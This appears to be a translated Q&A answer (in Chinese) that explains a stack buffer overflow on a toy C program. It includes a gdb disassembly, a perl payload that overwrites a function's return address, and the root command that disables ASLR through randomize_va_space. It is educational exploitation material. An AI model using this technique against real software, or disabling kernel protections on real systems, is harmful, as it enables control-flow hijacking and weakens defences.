据我了解,您希望代码执行指令x=1;
,然后跳过下一个 printf 所以它只会 print x is 0
。没有办法做到这一点。
但是,可以做的是让 func() 擦除它自己的返回地址,这样代码就可以直接跳转到printf("\nx is 0\n\n");
. 这也意味着跳过x=1;
。
这仅是可能的,因为您将通过 cmd 行传递的任何内容发送到 func() 并直接复制到固定大小的缓冲区。如果您尝试复制的字符串比分配的缓冲区大,您最终可能会破坏堆栈,并可能覆盖函数的返回地址。
关于这个主题有很多像这样的好书,我建议你阅读它们。
在gdb上加载您的应用程序并反汇编 main 函数,您将看到类似以下内容:
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>: lea 0x4(%esp),%ecx
0x08048412 <main+4>: and $0xfffffff0,%esp
0x08048415 <main+7>: pushl -0x4(%ecx)
0x08048418 <main+10>: push %ebp
0x08048419 <main+11>: mov %esp,%ebp
0x0804841b <main+13>: push %ecx
0x0804841c <main+14>: sub $0x24,%esp
0x0804841f <main+17>: movl $0x0,-0x8(%ebp)
0x08048426 <main+24>: mov 0x4(%ecx),%eax
0x08048429 <main+27>: add $0x4,%eax
0x0804842c <main+30>: mov (%eax),%eax
0x0804842e <main+32>: mov %eax,(%esp)
0x08048431 <main+35>: call 0x80483f4 <func> // obvious call to func
0x08048436 <main+40>: movl $0x1,-0x8(%ebp) // x = 1;
0x0804843d <main+47>: movl $0x8048520,(%esp) // pushing "x is 1" to the stack
0x08048444 <main+54>: call 0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>: movl $0x8048528,(%esp) // pushing "x is 0" to the stack
0x08048450 <main+66>: call 0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>: add $0x24,%esp
0x08048458 <main+74>: pop %ecx
0x08048459 <main+75>: pop %ebp
0x0804845a <main+76>: lea -0x4(%ecx),%esp
0x0804845d <main+79>: ret
End of assembler dump.
请务必注意,第二次printf调用的准备工作从 address 开始0x08048449
。为了覆盖 的原始返回地址func()
并使其跳转到0x08048449
,您必须写入超出 的容量char buffer[24];
。在这个测试中,我char buffer[6];
为了简单起见。
在gdb中,如果我执行:
run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
这将成功覆盖缓冲区并将返回地址替换为我希望它跳转到的地址:
Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x is 0
Program exited with code 011.
(gdb)
我不会解释每一步,因为其他人已经做得更好了,但是如果你想直接从 cmd-line 重现这种行为,你可以执行以下命令:
./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
请记住,gdb向您报告的内存地址可能与我得到的不同。
注意:要使此技术起作用,您必须首先禁用内核保护。但只要下面的命令报告不同于 0 的任何内容:
cat /proc/sys/kernel/randomize_va_space
要禁用它,您需要超级用户访问权限:
echo 0 > /proc/sys/kernel/randomize_va_space